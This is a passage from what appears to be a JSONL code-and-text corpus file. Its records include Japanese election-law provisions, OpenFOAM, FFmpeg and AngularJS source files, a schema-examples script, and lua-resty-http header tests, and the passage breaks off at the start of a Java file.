08b\u6295\u7968\u3092\u884c\u3046\u9078\u6319\u306e\u5186\u6ed1\u306a\u5b9f\u65bd\u306b\u8cc7\u3059\u308b\u305f\u3081\u3001\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306b\u5bfe\u3059\u308b\u52a9\u8a00\u305d\u306e\u4ed6\u306e\u63f4\u52a9\u306e\u5b9f\u65bd\u306b\u52aa\u3081\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\uff08\u547d\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u4e8c\u5341\u4e00\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306b\u5b9a\u3081\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u306f\u3001\u547d\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u4e8b\u52d9\u306e\u533a\u5206\uff09\n\u7b2c\u4e8c\u5341\u4e8c\u6761\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u53ca\u3073\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u8aad\u307f\u66ff\u3048\u3066\u9069\u7528\u3059\u308b\u516c\u8077\u9078\u6319\u6cd5\n\u306e\u898f\u5b9a\u306b\u3088\u308a\u3001\u90fd\u9053\u5e9c\u770c\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306b\u95a2\u3057\u3001\u5e02\u753a\u6751\u304c\u51e6\u7406\u3059\u308b\u3053\u3068\u3068\u3055\u308c\u3066\u3044\u308b\u4e8b\u52d9\u306f\u3001\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u6761\u7b2c\u4e5d\u9805\u7b2c\u4e8c\u53f7\n\u306b\u898f\u5b9a\u3059\u308b\u7b2c\u4e8c\u53f7\n\u6cd5\u5b9a\u53d7\u8a17\u4e8b\u52d9\u3068\u3059\u308b\u3002\n\n\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e09\u6708\u3092\u8d85\u3048\u306a\u3044\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u9644\u5247\u7b2c\u4e09\u6761\u306e\u898f\u5b9a\u306f\u3001\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b49\u306e\u4e00\u90e8\u3092\u6539\u6b63\u3059\u308b\u6cd5\u5f8b\uff08\u5e73\u6210\u5341\u56db\u5e74\u6cd5\u5f8b\u7b2c\u56db\u53f7\uff09\u7b2c\u4e8c\u6761\u306e\u898f\u5b9a\u306e\u65bd\u884c\u306e\u65e5\u53c8\u306f\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u306e\u3044\u305a\u308c\u304b\u9045\u3044\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u9069\u7528\u533a\u5206\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u4ee5\u5f8c\u305d\u306e\u671f\u65e5\u3092\u544a\u793a\u3055\u308c\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53c8\u306f\u9577\u306e\u9078\u6319\u306b\u3064\u3044\u3066\u9069\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u5e02\u753a\u6751\u306e\u5408\u4f75\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u306b\u4fc2\u308b\u7279\u4f8b\uff09\n\u7b2c\u4e09\u6761\n\u3000\u5e73\u6210\u4e09\u5341\u4e8c\u5e74\u4e09\u6708\u4e09\u5341\u4e00\u65e5\u307e\u3067\u306e\u9593\u306b\u304a\u3051\u308b\u7b2c\u5341\u56db\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u9805\u4e2d\u300c\u53c8\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e00\u6761\u7b2c\u4e09\u9805\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e00\u6761\u7b2c\u4e09\u9805\u53c8\u306f\u5e02\u753a\u6751\u306e\u5408\u4f75\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\uff08\u5e73\u6210\u5341\u516d\u5e74\u6cd5\u5f8b\u7b2c\u4e94\u5341\u4e5d\u53f7\uff09\u7b2c\u56db\u6761\u7b2c\u5341\u56db\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e94\u6761\u7b2c\u4e8c\u5341\u4e00\u9805\u300d\u3068\u3001\u300c\u540c\u6cd5\u7b2c\u516b\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e8c\u6761\u7b2c\u4e8c\u9805\u300d\u3068\u3042\u308b\u306e\u306f\u300c\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u516b\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u767e\u516d\u5341\u4e8c\u6761\u7b2c\u4e8c\u9805\u53c8\u306f\u5e02\u753a\u6751\u306e\u5408\u4f75\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u4e94\u6761\u7b2c\u4e09\u5341\u4e09\u9805\u300d\u3068\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e94\u5e74\u516d\u6708\u4e00\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u516d\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u516d\u6708\u3092\u8d85\u3048\u306a\u3044\u7bc4\u56f2\u5185\u306b\u304a\u3044\u3066\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u516d\u5e74\u4e94\u6708\u4e8c\u516d\u65e5\u6cd5\u5f8b\u7b2c\u4e94\u4e5d\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5e73\u6210\u5341\u4e03\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e8c\u4e8c\u5e74\u4e09\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u3007\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5e73\u6210\u4e8c\u5341\u4e8c\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e8c\u4e94\u5e74\u4e94\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e8c\u4e00\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u6708\u3092\u7d4c\u904e\u3057\u305f\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u9069\u7528\u533a\u5206\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u7b2c\u4e00\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u516c\u8077\u9078\u6319\u6cd5\u306e\u898f\u5b9a\u3001\u7b2c\u4e8c\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306e\u8b70\u4f1a\u306e\u8b70\u54e1\u53ca\u3073\u9577\u306e\u9078\u6319\u306b\u4fc2\u308b\u96fb\u78c1\u7684\u8a18\u9332\u5f0f\u6295\u7968\u6a5f\u3092\u7528\u3044\u3066\u884c\u3046\u6295\u7968\u65b9\u6cd5\u7b49\u306e\u7279\u4f8b\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u306e\u898f\u5b9a\u53ca\u3073\u9644\u5247\u7b2c\u56db\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u56fd\u4f1a\u8b70\u54e1\u306e\u9078\u6319\u7b49\u306e\u57f7\u884c\u7d4c\u8cbb\u306e\u57fa\u6e96\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\uff08\u662d\u548c\u4e8c\u5341\u4e94\u5e74\u6cd5\u5f8b\u7b2c\u767e\u4e03\u5341\u4e5d\u53f7\uff09\u306e\u898f\u5b9a\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\uff08\u4ee5\u4e0b\u300c\u65bd\u884c\u65e5\u300d\u3068\u3044\u3046\u3002\uff09\u5f8c\u306b\u305d\u306e\u671f\u65e5\u3092\u516c\u793a\u3055\u308c\u53c8\u306f\u544a\u793a\u3055\u308c\u308b\u9078\u6319\u3001\u6700\u9ad8\u88c1\u5224\u6240\u88c1\u5224\u5b98\u56fd\u6c11\u5be9\u67fb\u53ca\u3073\u65e5\u672c\u56fd\u61b2\u6cd5\u7b2c\u4e5d\u5341\u4e94\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u9069\u7528\u3057\u3001\u65bd\u884c\u65e5\u307e\u3067\u306b\u305d\u306e\u671f\u65e5\u3092\u516c\u793a\u3055\u308c\u53c8\u306f\u544a\u793a\u3055\u308c\u305f\u9078\u6319\u3001\u6700\u9ad8\u88c1\u5224\u6240\u88c1\u5224\u5b98\u56fd\u6c11\u5be9\u67fb\u53ca\u3073\u65e5\u672c\u56fd\u61b2\u6cd5\u7b2c\u4e5d\u5341\u4e94\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u6295\u7968\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e03\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u53ca\u3073\u9644\u5247\u7b2c\u4e8c\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u5834\u5408\u306b\u304a\u3051\u308b\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n"} -{"text": "/*---------------------------------------------------------------------------*\\\n ========= |\n \\\\ / F ield | OpenFOAM: The Open Source CFD Toolbox\n \\\\ / O peration |\n \\\\ / A nd | Copyright (C) 2011 OpenFOAM Foundation\n \\\\/ M anipulation |\n-------------------------------------------------------------------------------\nLicense\n This file is part of OpenFOAM.\n\n OpenFOAM is free software: you can redistribute it and/or modify it\n under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n OpenFOAM is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n for more details.\n\n You should have received a copy of the GNU General Public License\n along with OpenFOAM. If not, see .\n\n\\*---------------------------------------------------------------------------*/\n\ninline Foam::scalar Foam::C6H14::rho(scalar p, scalar T) const\n{\n return rho_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::pv(scalar p, scalar T) const\n{\n return pv_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::hl(scalar p, scalar T) const\n{\n return hl_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::Cp(scalar p, scalar T) const\n{\n return Cp_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::h(scalar p, scalar T) const\n{\n return h_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::Cpg(scalar p, scalar T) const\n{\n return Cpg_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::B(scalar p, scalar T) const\n{\n return B_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::mu(scalar p, scalar T) const\n{\n return mu_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::mug(scalar p, scalar T) const\n{\n return mug_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::K(scalar p, scalar T) const\n{\n return K_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::Kg(scalar p, scalar T) const\n{\n return Kg_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::sigma(scalar p, scalar T) const\n{\n return sigma_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::D(scalar p, scalar T) const\n{\n return D_.f(p, T);\n}\n\n\ninline Foam::scalar Foam::C6H14::D(scalar p, scalar T, scalar Wb) const\n{\n return D_.f(p, T, Wb);\n}\n\n\n// ************************************************************************* //\n"} -{"text": "#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nimport sys\nimport os\nfor path in [os.getcwd(),\"SchemaExamples\"]:\n sys.path.insert( 1, path ) #Pickup libs from shipped lib directory\n\nimport logging\nimport argparse\nlogging.basicConfig(level=logging.INFO) # dev_appserver.py --log_level debug .\nlog = logging.getLogger(__name__)\n\nfrom schemaexamples import SchemaExamples, Example\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-o\",\"--output\", required=True, help=\"output file\")\nargs = parser.parse_args()\n\n\nSchemaExamples.loadExamplesFiles(\"default\")\nprint(\"Loaded %d examples \" % (SchemaExamples.count()))\n\nlog.info(\"Consolidating..\")\n\nfilename = args.output\n\nlog.info(\"Writing %s examples to file %s\" % (SchemaExamples.count(),filename))\nf = open(filename,\"w\")\nf.write(SchemaExamples.allExamplesSerialised())\nif f:\n f.close()\n print(\"Done\")\n"} -{"text": "/*\n * LucasArts Smush demuxer\n * Copyright (c) 2006 Cyril Zorin\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#include \"libavutil/intreadwrite.h\"\n\n#include \"avformat.h\"\n#include \"avio.h\"\n#include \"internal.h\"\n\ntypedef struct SMUSHContext {\n int version;\n int audio_stream_index;\n int video_stream_index;\n} SMUSHContext;\n\nstatic int smush_read_probe(AVProbeData *p)\n{\n if (((AV_RL32(p->buf) == MKTAG('S', 'A', 'N', 'M') &&\n AV_RL32(p->buf + 8) == MKTAG('S', 'H', 'D', 'R')) ||\n (AV_RL32(p->buf) == MKTAG('A', 'N', 'I', 'M') &&\n AV_RL32(p->buf + 8) == MKTAG('A', 'H', 'D', 'R')))) {\n return AVPROBE_SCORE_MAX;\n }\n\n return 0;\n}\n\nstatic int smush_read_header(AVFormatContext *ctx)\n{\n SMUSHContext *smush = ctx->priv_data;\n AVIOContext *pb = ctx->pb;\n AVStream *vst, *ast;\n uint32_t magic, nframes, size, subversion, i;\n uint32_t width = 0, height = 0, got_audio = 0, read = 0;\n uint32_t sample_rate, channels, palette[256];\n\n magic = avio_rb32(pb);\n avio_skip(pb, 4); // skip movie size\n\n if (magic == MKBETAG('A', 'N', 'I', 'M')) {\n if (avio_rb32(pb) != MKBETAG('A', 'H', 'D', 'R'))\n return AVERROR_INVALIDDATA;\n\n size = avio_rb32(pb);\n if (size < 3 * 256 + 6)\n return AVERROR_INVALIDDATA;\n\n smush->version = 0;\n subversion = avio_rl16(pb);\n nframes = avio_rl16(pb);\n if (!nframes)\n return AVERROR_INVALIDDATA;\n\n avio_skip(pb, 2); // skip pad\n\n for (i = 0; i < 256; i++)\n palette[i] = avio_rb24(pb);\n\n avio_skip(pb, size - (3 * 256 + 6));\n } else if (magic == MKBETAG('S', 'A', 'N', 'M')) {\n if (avio_rb32(pb) != MKBETAG('S', 'H', 'D', 'R'))\n return AVERROR_INVALIDDATA;\n\n size = avio_rb32(pb);\n if (size < 14)\n return AVERROR_INVALIDDATA;\n\n smush->version = 1;\n subversion = avio_rl16(pb);\n nframes = avio_rl32(pb);\n if (!nframes)\n return AVERROR_INVALIDDATA;\n\n avio_skip(pb, 2); // skip pad\n width = avio_rl16(pb);\n height = avio_rl16(pb);\n avio_skip(pb, 2); // skip pad\n avio_skip(pb, size - 14);\n\n if (avio_rb32(pb) != MKBETAG('F', 'L', 'H', 'D'))\n return AVERROR_INVALIDDATA;\n\n size = avio_rb32(pb);\n while (!got_audio && ((read + 8) < size)) {\n uint32_t sig, chunk_size;\n\n if (avio_feof(pb))\n return AVERROR_EOF;\n\n sig = avio_rb32(pb);\n chunk_size = avio_rb32(pb);\n read += 8;\n switch (sig) {\n case MKBETAG('W', 'a', 'v', 'e'):\n got_audio = 1;\n sample_rate = avio_rl32(pb);\n if (!sample_rate)\n return AVERROR_INVALIDDATA;\n\n channels = avio_rl32(pb);\n if (!channels)\n return AVERROR_INVALIDDATA;\n\n avio_skip(pb, chunk_size - 8);\n read += chunk_size;\n break;\n case MKBETAG('B', 'l', '1', '6'):\n case MKBETAG('A', 'N', 'N', 'O'):\n avio_skip(pb, chunk_size);\n read += chunk_size;\n break;\n default:\n return AVERROR_INVALIDDATA;\n break;\n }\n }\n\n avio_skip(pb, size - read);\n } else {\n av_log(ctx, AV_LOG_ERROR, \"Wrong magic\\n\");\n return AVERROR_INVALIDDATA;\n }\n\n vst = avformat_new_stream(ctx, 0);\n if (!vst)\n return AVERROR(ENOMEM);\n\n smush->video_stream_index = vst->index;\n\n avpriv_set_pts_info(vst, 64, 1, 15);\n\n vst->start_time = 0;\n vst->duration =\n vst->nb_frames = nframes;\n vst->avg_frame_rate = av_inv_q(vst->time_base);\n vst->codec->codec_type = AVMEDIA_TYPE_VIDEO;\n vst->codec->codec_id = AV_CODEC_ID_SANM;\n vst->codec->codec_tag = 0;\n vst->codec->width = width;\n vst->codec->height = height;\n\n if (!smush->version) {\n if (ff_alloc_extradata(vst->codec, 1024 + 2))\n return AVERROR(ENOMEM);\n\n AV_WL16(vst->codec->extradata, subversion);\n for (i = 0; i < 256; i++)\n AV_WL32(vst->codec->extradata + 2 + i * 4, palette[i]);\n }\n\n if (got_audio) {\n ast = avformat_new_stream(ctx, 0);\n if (!ast)\n return AVERROR(ENOMEM);\n\n smush->audio_stream_index = ast->index;\n\n ast->start_time = 0;\n ast->codec->codec_type = AVMEDIA_TYPE_AUDIO;\n ast->codec->codec_id = AV_CODEC_ID_ADPCM_VIMA;\n ast->codec->codec_tag = 0;\n ast->codec->sample_rate = sample_rate;\n ast->codec->channels = channels;\n\n avpriv_set_pts_info(ast, 64, 1, ast->codec->sample_rate);\n }\n\n return 0;\n}\n\nstatic int smush_read_packet(AVFormatContext *ctx, AVPacket *pkt)\n{\n SMUSHContext *smush = ctx->priv_data;\n AVIOContext *pb = ctx->pb;\n int done = 0;\n int ret;\n\n while (!done) {\n uint32_t sig, size;\n\n if (avio_feof(pb))\n return AVERROR_EOF;\n\n sig = avio_rb32(pb);\n size = avio_rb32(pb);\n\n switch (sig) {\n case MKBETAG('F', 'R', 'M', 'E'):\n if (smush->version)\n break;\n if ((ret = av_get_packet(pb, pkt, size)) < 0)\n return ret;\n\n pkt->stream_index = smush->video_stream_index;\n done = 1;\n break;\n case MKBETAG('B', 'l', '1', '6'):\n if ((ret = av_get_packet(pb, pkt, size)) < 0)\n return ret;\n\n pkt->stream_index = smush->video_stream_index;\n pkt->duration = 1;\n done = 1;\n break;\n case MKBETAG('W', 'a', 'v', 'e'):\n if (size < 13)\n return AVERROR_INVALIDDATA;\n if (av_get_packet(pb, pkt, size) < 13)\n return AVERROR(EIO);\n\n pkt->stream_index = smush->audio_stream_index;\n pkt->flags |= AV_PKT_FLAG_KEY;\n pkt->duration = AV_RB32(pkt->data);\n if (pkt->duration == 0xFFFFFFFFu)\n pkt->duration = AV_RB32(pkt->data + 8);\n done = 1;\n break;\n default:\n avio_skip(pb, size);\n break;\n }\n }\n\n return 0;\n}\n\nAVInputFormat ff_smush_demuxer = {\n .name = \"smush\",\n .long_name = NULL_IF_CONFIG_SMALL(\"LucasArts Smush\"),\n .priv_data_size = sizeof(SMUSHContext),\n .read_probe = smush_read_probe,\n .read_header = smush_read_header,\n .read_packet = smush_read_packet,\n};\n"} -{"text": "use Test::Nginx::Socket 'no_plan';\nuse Cwd qw(cwd);\n\nmy $pwd = cwd();\n\n$ENV{TEST_COVERAGE} ||= 0;\n\nour $HttpConfig = qq{\nlua_package_path \"$pwd/lib/?.lua;;\";\n\ninit_by_lua_block {\n if $ENV{TEST_COVERAGE} == 1 then\n jit.off()\n require(\"luacov.runner\").init()\n end\n}\n\nunderscores_in_headers On;\n};\n\nno_long_string();\nno_diff();\n\nrun_tests();\n\n__DATA__\n=== TEST 1: Unit test header normalisation\n--- http_config eval: $::HttpConfig\n--- config\nlocation = /a {\n content_by_lua_block {\n local headers = require(\"resty.http_headers\").new()\n\n headers[\"content-length\"] = \"a\"\n headers[\"TRANSFER-ENCODING\"] = \"b\"\n headers[\"SSL_CLIENT_CERTIFICATE\"] = \"foo\"\n\n assert(headers[\"coNtENt-LENgth\"] == headers[\"content-length\"],\n \"header values should match\")\n\n assert(headers[\"transfer-encoding\"] == headers[\"TRANSFER-ENCODING\"],\n \"header values should match\")\n\n assert(headers[\"ssl_client_certificate\"] == headers[\"SSL_CLIENT_CERTIFICATE\"],\n \"header values should match\")\n\n assert(headers[\"SSL-CLIENT-CERTIFICATE\"] ~= headers[\"SSL_CLIENT_CERTIFICATE\"],\n \"underscores are separate to hyphens\")\n\n }\n}\n--- request\nGET /a\n--- response_body\n--- no_error_log\n[error]\n\n\n=== TEST 2: Integration test headers normalisation\n--- http_config eval: $::HttpConfig\n--- config\nlocation = /a {\n content_by_lua_block {\n local httpc = require(\"resty.http\").new()\n assert(httpc:connect(\"127.0.0.1\", ngx.var.server_port),\n \"connect should return positively\")\n\n local res, err = httpc:request{\n path = \"/b\"\n }\n\n ngx.status = res.status\n ngx.say(res.headers[\"X-Foo-Header\"])\n ngx.say(res.headers[\"x-fOo-heaDeR\"])\n\n httpc:close()\n }\n}\nlocation = /b {\n content_by_lua_block {\n ngx.header[\"X-Foo-Header\"] = \"bar\"\n ngx.say(\"OK\")\n }\n}\n--- request\nGET /a\n--- response_body\nbar\nbar\n--- no_error_log\n[error]\n\n\n=== TEST 3: Integration test request headers normalisation\n--- http_config eval: $::HttpConfig\n--- config\nlocation = /a {\n content_by_lua_block {\n local httpc = require(\"resty.http\").new()\n assert(httpc:connect(\"127.0.0.1\", ngx.var.server_port),\n \"connect should return positively\")\n\n local res, err = httpc:request{\n path = \"/b\",\n headers = {\n [\"uSeR-AgENT\"] = \"test_user_agent\",\n [\"X_Foo\"] = \"bar\",\n },\n }\n\n ngx.status = res.status\n ngx.print(res:read_body())\n\n httpc:close()\n }\n}\nlocation = /b {\n content_by_lua_block {\n ngx.say(ngx.req.get_headers()[\"User-Agent\"])\n ngx.say(ngx.req.get_headers(nil, true)[\"X_Foo\"])\n }\n}\n--- request\nGET /a\n--- response_body\ntest_user_agent\nbar\n--- no_error_log\n[error]\n\n\n=== TEST 4: Test that headers remain unique\n--- http_config eval: $::HttpConfig\n--- config\nlocation = /a {\n content_by_lua_block {\n local headers = require(\"resty.http_headers\").new()\n\n headers[\"x-a-header\"] = \"a\"\n headers[\"X-A-HEAder\"] = \"b\"\n\n for k,v in pairs(headers) do\n ngx.header[k] = v\n end\n }\n}\n--- request\nGET /a\n--- response_headers\nx-a-header: b\n--- no_error_log\n[error]\n\n\n=== TEST 5: Prove header tables are always unique\n--- http_config eval: $::HttpConfig\n--- config\nlocation = /a {\n content_by_lua_block {\n local headers = require(\"resty.http_headers\").new()\n\n headers[\"content-length\"] = \"a\"\n headers[\"TRANSFER-ENCODING\"] = \"b\"\n headers[\"SSL_CLIENT_CERTIFICATE\"] = \"foo\"\n\n local headers2 = require(\"resty.http_headers\").new()\n\n assert(headers2 ~= headers,\n \"headers should be unique\")\n\n assert(not next(headers2),\n \"headers2 should be empty\")\n\n assert(not next(getmetatable(headers2).normalised),\n \"headers normalised data should be empty\")\n }\n}\n--- request\nGET /a\n--- response_body\n--- no_error_log\n[error]\n"} -{"text": "'use strict';\nangular.module(\"ngLocale\", [], [\"$provide\", function($provide) {\nvar PLURAL_CATEGORY = {ZERO: \"zero\", ONE: \"one\", TWO: \"two\", FEW: \"few\", MANY: \"many\", OTHER: \"other\"};\nfunction getDecimals(n) {\n n = n + '';\n var i = n.indexOf('.');\n return (i == -1) ? 0 : n.length - i - 1;\n}\n\nfunction getVF(n, opt_precision) {\n var v = opt_precision;\n\n if (undefined === v) {\n v = Math.min(getDecimals(n), 3);\n }\n\n var base = Math.pow(10, v);\n var f = ((n * base) | 0) % base;\n return {v: v, f: f};\n}\n\n$provide.value(\"$locale\", {\n \"DATETIME_FORMATS\": {\n \"AMPMS\": [\n \"AM\",\n \"PM\"\n ],\n \"DAY\": [\n \"Sunday\",\n \"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\",\n \"Saturday\"\n ],\n \"MONTH\": [\n \"January\",\n \"February\",\n \"March\",\n \"April\",\n \"May\",\n \"June\",\n \"July\",\n \"August\",\n \"September\",\n \"October\",\n \"November\",\n \"December\"\n ],\n \"SHORTDAY\": [\n \"Sun\",\n \"Mon\",\n \"Tue\",\n \"Wed\",\n \"Thu\",\n \"Fri\",\n \"Sat\"\n ],\n \"SHORTMONTH\": [\n \"Jan\",\n \"Feb\",\n \"Mar\",\n \"Apr\",\n \"May\",\n \"Jun\",\n \"Jul\",\n \"Aug\",\n \"Sep\",\n \"Oct\",\n \"Nov\",\n \"Dec\"\n ],\n \"fullDate\": \"EEEE, MMMM d, y\",\n \"longDate\": \"MMMM d, y\",\n \"medium\": \"MMM d, y h:mm:ss a\",\n \"mediumDate\": \"MMM d, y\",\n \"mediumTime\": \"h:mm:ss a\",\n \"short\": \"M/d/yy h:mm a\",\n \"shortDate\": \"M/d/yy\",\n \"shortTime\": \"h:mm a\"\n },\n \"NUMBER_FORMATS\": {\n \"CURRENCY_SYM\": \"$\",\n \"DECIMAL_SEP\": \".\",\n \"GROUP_SEP\": \",\",\n \"PATTERNS\": [\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"macFrac\": 0,\n \"maxFrac\": 3,\n \"minFrac\": 0,\n \"minInt\": 1,\n \"negPre\": \"-\",\n \"negSuf\": \"\",\n \"posPre\": \"\",\n \"posSuf\": \"\"\n },\n {\n \"gSize\": 3,\n \"lgSize\": 3,\n \"macFrac\": 0,\n \"maxFrac\": 2,\n \"minFrac\": 2,\n \"minInt\": 1,\n \"negPre\": \"\\u00a4-\",\n \"negSuf\": \"\",\n \"posPre\": \"\\u00a4\",\n \"posSuf\": \"\"\n }\n ]\n },\n \"id\": \"en-ng\",\n \"pluralCat\": function (n, opt_precision) { var i = n | 0; var vf = getVF(n, opt_precision); if (i == 1 && vf.v == 0) { return PLURAL_CATEGORY.ONE; } return PLURAL_CATEGORY.OTHER;}\n});\n}]);"} -{"text": "package milkman.ui.plugin;\n\nimport milkman.domain.RequestContainer;\nimport milkman.domain.RequestExecutionContext;\nimport 